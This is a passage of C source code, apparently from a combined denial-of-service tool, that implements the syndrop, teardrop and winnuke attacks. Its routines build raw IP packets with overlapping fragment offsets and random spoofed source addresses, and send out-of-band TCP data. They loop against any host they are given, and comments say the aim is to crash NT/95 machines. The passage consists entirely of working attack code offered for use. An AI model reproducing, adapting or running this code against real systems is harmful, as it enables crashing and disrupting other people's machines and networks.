  837.    *  enough payload to cover complete the datagram.  Just the header will
  838.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  839.    *  better.
  840.    */
  841.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  842.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  843.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  844.   *((u_short *) p_ptr) = FIX (MAGIC);
  845.  
  846.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
  847.           sizeof (struct sockaddr)) == -1)
  848.     {
  849.       perror ("\nsendto");
  850.       free (packet);
  851.       exit (1);
  852.     }
  853.   free (packet);
  854. }
  855.  
  856. /* syndrop(destination) */
  857.  
  858. u_long name_resolve (u_char *);
  859. u_short in_cksum (u_short *, int);
  860. void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);
  861.  
  862. int 
  863. syndrop (char *synd_host)
  864. {
  865.   int one = 1, count = 0, i, rip_sock;
  866.   u_long src_ip = 0, dst_ip = 0;
  867.   u_short src_prt = 0, dst_prt = 0;
  868.   u_long s_start = 0, s_end = 0;
  869.   struct in_addr addr;
  870.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  871.     {
  872.       perror ("raw socket");
  873.       exit (1);
  874.     }
  875.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
  876.     {
  877.       perror ("IP_HDRINCL");
  878.       exit (1);
  879.     }
  880.   if (!(dst_ip = name_resolve (synd_host)))
  881.     {
  882.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  883.       exit (1);
  884.     }
  885.   src_ip = rand ();
  886.   srandom ((unsigned) (time ((time_t) 0)));
  887.   src_prt = (random () % 0xffff);
  888.   dst_prt = (random () % 0xffff);
  889.   count = COUNT;
  890.  
  891.   addr.s_addr = src_ip;
  892.   addr.s_addr = dst_ip;
  893.   for (i = 0; i < count; i++)
  894.     {
  895.       send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
  896.       fprintf (stderr, "&");
  897.       usleep (500);
  898.     }
  899.   return (0);
  900. }
  901.  
  902. /*
  903.  *  Send two IP fragments with pathological offsets.  We use an implementation
  904.  *  independent way of assembling network packets that does not rely on any of
  905.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  906.  */
  907.  
  908. void 
  909. send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
  910. {
  911.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  912.   u_char byte;            /* a byte */
  913.   struct sockaddr_in sin;    /* socket protocol structure */
  914.  
  915.   sin.sin_family = AF_INET;
  916.   sin.sin_port = src_prt;
  917.   sin.sin_addr.s_addr = dst_ip;
  918.  
  919.   /*
  920.    * Grab some memory for our packet, align p_ptr to point at the beginning
  921.    * of our packet, and then fill it with zeros.
  922.    */
  923.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  924.   p_ptr = packet;
  925.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    /* Set it all to zero */
  926.  
  927.   byte = 0x45;            /* IP version and header length */
  928.   memcpy (p_ptr, &byte, sizeof (u_char));
  929.   p_ptr += 2;            /* IP TOS (skipped) */
  930.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  931.   p_ptr += 2;
  932.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  933.   p_ptr += 2;
  934.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  935.   p_ptr += 2;
  936.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  937.   byte = IPPROTO_TCP;
  938.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  939.   p_ptr += 4;            /* IP checksum filled in by kernel */
  940.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  941.   p_ptr += 4;
  942.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  943.   p_ptr += 4;
  944.   *((u_short *) p_ptr) = htons (src_prt);    /* TCP source port */
  945.   p_ptr += 2;
  946.   *((u_short *) p_ptr) = htons (dst_prt);    /* TCP destination port */
  947.   p_ptr += 2;
  948.   *((u_long *) p_ptr) = seq1;    /* TCP sequence # */
  949.   p_ptr += 4;
  950.   *((u_long *) p_ptr) = 0;    /* ack */
  951.   p_ptr += 4;
  952.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* TCP data offset */
  953.   /* Increases TCP total length to 48 bytes Which is too big! */
  954.   p_ptr += 2;
  955.   *((u_char *) p_ptr) = TH_SYN;    /* flags: mark SYN */
  956.   p_ptr += 1;
  957.   *((u_short *) p_ptr) = seq2 - seq1;    /* window */
  958.   *((u_short *) p_ptr) = 0x44;    /* checksum : this is magic value for NT, W95.  dissasemble M$ C++ to see why, if you have time  */
  959.   *((u_short *) p_ptr) = 0;    /* urgent */
  960.  
  961.   if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
  962.           sizeof (struct sockaddr)) == -1)
  963.     {
  964.       perror ("\nsendto");
  965.       free (packet);
  966.       exit (1);
  967.     }
  968.  
  969.   /*  We set the fragment offset to be inside of the previous packet's
  970.    *  payload (it overlaps inside the previous packet) but do not include
  971.    *  enough payload to cover complete the datagram.  Just the header will
  972.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  973.    *  better.
  974.    */
  975.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  976.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  977.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  978.   *((u_short *) p_ptr) = FIX (MAGIC);
  979.   p_ptr = &packet[24];        /* hop in to the sequence again... */
  980.   *((u_long *) p_ptr) = seq2;    /* TCP sequence # */
  981.  
  982.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
  983.     {
  984.       perror ("\nsendto");
  985.       free (packet);
  986.       exit (1);
  987.     }
  988.   free (packet);
  989. }
  990.  
  991. /* teardrop(destination) */
  992.  
  993. u_long name_resolve (u_char *);
  994. u_short in_cksum (u_short *, int);
  995. void tear_frags (int, u_long, u_long, u_short, u_short);
  996.  
  997. int 
  998. teardrop (char *tear_host)
  999. {
  1000.   int one = 1, count = 0, i, rip_sock;
  1001.   u_long src_ip = 0, dst_ip = 0;
  1002.   u_short src_prt = 0, dst_prt = 0;
  1003.   struct in_addr addr;
  1004.  
  1005.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1006.     {
  1007.       perror ("raw socket");
  1008.       exit (1);
  1009.     }
  1010.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  1011.       < 0)
  1012.     {
  1013.       perror ("IP_HDRINCL");
  1014.       exit (1);
  1015.     }
  1016.   if (!(dst_ip = name_resolve (tear_host)))
  1017.     {
  1018.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  1019.       exit (1);
  1020.     }
  1021.   src_ip = rand ();
  1022.   srandom ((unsigned) (time ((time_t) 0)));
  1023.   src_prt = (random () % 0xffff);
  1024.   dst_prt = (random () % 0xffff);
  1025.   count = COUNT;
  1026.  
  1027.   addr.s_addr = src_ip;
  1028.   addr.s_addr = dst_ip;
  1029.  
  1030.   for (i = 0; i < count; i++)
  1031.     {
  1032.       tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  1033.       fprintf (stderr, "%%");
  1034.       usleep (500);
  1035.     }
  1036.   return (0);
  1037. }
  1038.  
  1039. /*
  1040.  *  Send two IP fragments with pathological offsets.  We use an implementation
  1041.  *  independent way of assembling network packets that does not rely on any of
  1042.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  1043.  */
  1044.  
  1045. void 
  1046. tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  1047.         u_short dst_prt)
  1048. {
  1049.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  1050.   u_char byte;            /* a byte */
  1051.   struct sockaddr_in sin;    /* socket protocol structure */
  1052.  
  1053.   sin.sin_family = AF_INET;
  1054.   sin.sin_port = src_prt;
  1055.   sin.sin_addr.s_addr = dst_ip;
  1056.  
  1057.   /*
  1058.    * Grab some memory for our packet, align p_ptr to point at the beginning
  1059.    * of our packet, and then fill it with zeros.
  1060.    */
  1061.   packet = (u_char *) malloc (IPH + UDPH + TPADDING);
  1062.   p_ptr = packet;
  1063.   bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);
  1064.  
  1065.   byte = 0x45;            /* IP version and header length */
  1066.   memcpy (p_ptr, &byte, sizeof (u_char));
  1067.   p_ptr += 2;            /* IP TOS (skipped) */
  1068.   *((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING);    /* total length */
  1069.   p_ptr += 2;
  1070.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  1071.   p_ptr += 2;
  1072.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  1073.   p_ptr += 2;
  1074.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  1075.   byte = IPPROTO_UDP;
  1076.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  1077.   p_ptr += 4;            /* IP checksum filled in by kernel */
  1078.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  1079.   p_ptr += 4;
  1080.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  1081.   p_ptr += 4;
  1082.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  1083.   p_ptr += 2;
  1084.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  1085.   p_ptr += 2;
  1086.   *((u_short *) p_ptr) = htons (8 + TPADDING);    /* UDP total length */
  1087.  
  1088.   if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
  1089.           sizeof (struct sockaddr)) == -1)
  1090.     {
  1091.       perror ("\nsendto");
  1092.       free (packet);
  1093.       exit (1);
  1094.     }
  1095.  
  1096.   /*  We set the fragment offset to be inside of the previous packet's
  1097.    *  payload (it overlaps inside the previous packet) but do not include
  1098.    *  enough payload to cover complete the datagram.  Just the header will
  1099.    *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  1100.    *  better.
  1101.    */
  1102.   p_ptr = &packet[2];        /* IP total length is 2 bytes into the header */
  1103.   *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
  1104.   p_ptr += 4;            /* IP offset is 6 bytes into the header */
  1105.   *((u_short *) p_ptr) = FIX (MAGIC);
  1106.  
  1107.   if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
  1108.           sizeof (struct sockaddr)) == -1)
  1109.     {
  1110.       perror ("\nsendto");
  1111.       free (packet);
  1112.       exit (1);
  1113.     }
  1114.   free (packet);
  1115. }
  1116.  
  1117. /* winnuke(destination) */
  1118.  
  1119. int winnuke_s;
  1120. char *str = "bill_loves_you!";
  1121. struct sockaddr_in addr, spoofedaddr;
  1122. struct hostent *host;
  1123. int 
  1124. winnuke_sub (int sock, char *server, int port)
  1125. {
  1126.   struct sockaddr_in blah;
  1127.   struct hostent *he;
  1128.   bzero ((char *) &blah, sizeof (blah));
  1129.   blah.sin_family = AF_INET;
  1130.   blah.sin_addr.s_addr = inet_addr (server);
  1131.   blah.sin_port = htons (port);
  1132.   if ((he = gethostbyname (server)) != NULL)
  1133.     {
  1134.       bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
  1135.     }
  1136.   else
  1137.     {
  1138.       if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
  1139.     {
  1140.       perror ("gethostbyname()");
  1141.       return (-3);
  1142.     }
  1143.     }
  1144.   if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
  1145.     {
  1146.       perror ("connect()");
  1147.       close (sock);
  1148.       return (-4);
  1149.     }
  1150.   return;
  1151. }
  1152. int 
  1153. winnuke (char *winnuke_host)
  1154. {
  1155.   int wncounter;
  1156.   for (wncounter = 0; wncounter < WNUKEREP; wncounter++)
  1157.     {
  1158.       if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  1159.     {
  1160.       perror ("socket()");
  1161.       exit (-1);
  1162.     }
  1163.       winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
  1164.       send (winnuke_s, str, strlen (str), MSG_OOB);
  1165.       fprintf (stderr, "*");
  1166.       usleep (500);
  1167.       close (winnuke_s);
  1168.     }
  1169.   return;
  1170. }
  1171. /* EOF */
  1172.